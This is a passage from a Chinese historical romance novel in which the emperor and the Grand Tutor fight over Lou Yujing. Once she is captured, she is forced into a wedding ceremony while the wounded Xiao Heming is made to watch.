楼韫被她这副无视的样子彻底激怒,再也没有了往日的孝顺冷静,他是更加疯魔的谢衍知,只不过一个认的是父子情,一个认的是占有欲。 楼韫舌头顶了顶腮,站在原地没动,只说:“拿下,尤其是我们尊贵的世子殿下,打的时候避着些脸,毕竟他也就只剩这一层皮可以勾搭贵妃娘娘了。” 四个人被团团包围,后背贴后背成了一个圈,几人身手都不错,但车轮战耗费体力,几轮下来难免力不从心,偏偏这时候楼悯弦也带人追了过来,对上了楼韫的视线,一个阴沉,一个愠怒。 “陛下不在宫中陪着皇后,倒是拦着我夫人不放,意欲何为?” 楼韫像是被他逗笑了,说:“这里可没有太傅的夫人,我只看见了一个没用的世子,和我将将拜堂的贵妃。” “强抢臣妇,陛下也不怕笑话。” “该笑话的不应该是你吗?楼悯弦,清冷太傅,声名在外,到强娶养女,既然你都可以不要脸,那我要这张脸也没什么作用。” 萧掌柜率先倒下了,而后是吝筱,两人先后被控制,只剩萧鹤明与楼玉京。楼悯弦懒得再和楼韫斗嘴,内力迸发,几步借着墙的力跨过人群,一掌拍向了楼玉京。 她是四个人里身手最厉害的,先控制她,之后便轻松了。 萧鹤明看出他的意图,转身将人推开,自己挨了一掌,生生被打出去十米,楼悯弦对她半分情面不留。萧鹤明倒在地上咳出几口血,楼悯弦没有管他,再与楼玉京打了起来,加上楼韫带来的人一并动手,很快楼玉京就被扣住了。 虽说人多势众,但楼韫想从楼悯弦手里抢走楼玉京并不轻松,双方几乎要再打第二场,偏偏沈蕤这时候御马而来。 “陛下,师兄。”她下马作揖,而后越过一众人看向楼玉京,话却是与楼悯弦说的,“交给我吧,师兄总该信我。” “阿蕤,你和她布局想推谢衍知上位,这件事我不与你计较,但你能拿出什么让我再次信任你,将她交给你的东西?” “你扣着萧鹤明,她舍得跑吗?何况师兄你知道我对你的感情,就算将来你肯让我进门做妾,便也够了。” 楼悯弦冷笑一声,不知是真的被她这番肺腑之言打动,还是已经确信楼玉京逃不掉了,他说:“先带回去拜堂,人可以交给你,但是阿蕤,如果她真的走了,我会杀了你。” “阿蕤明白。”沈蕤几步上前让暗卫松开楼玉京,两人对视片刻,移开视线。 楼玉京被带了回去,楼悯弦像是故意的,强迫她拜堂的时候压着萧鹤明在一边看。萧鹤明额角青筋暴起,攥紧了拳头,指甲嵌进肉里,终究无济于事。眼睁睁看着楼玉京和他拜堂,成了人尽皆知的楼夫人。 他确实没用,楼韫说得对。 萧鹤明自嘲般闭上了眼,不再去看。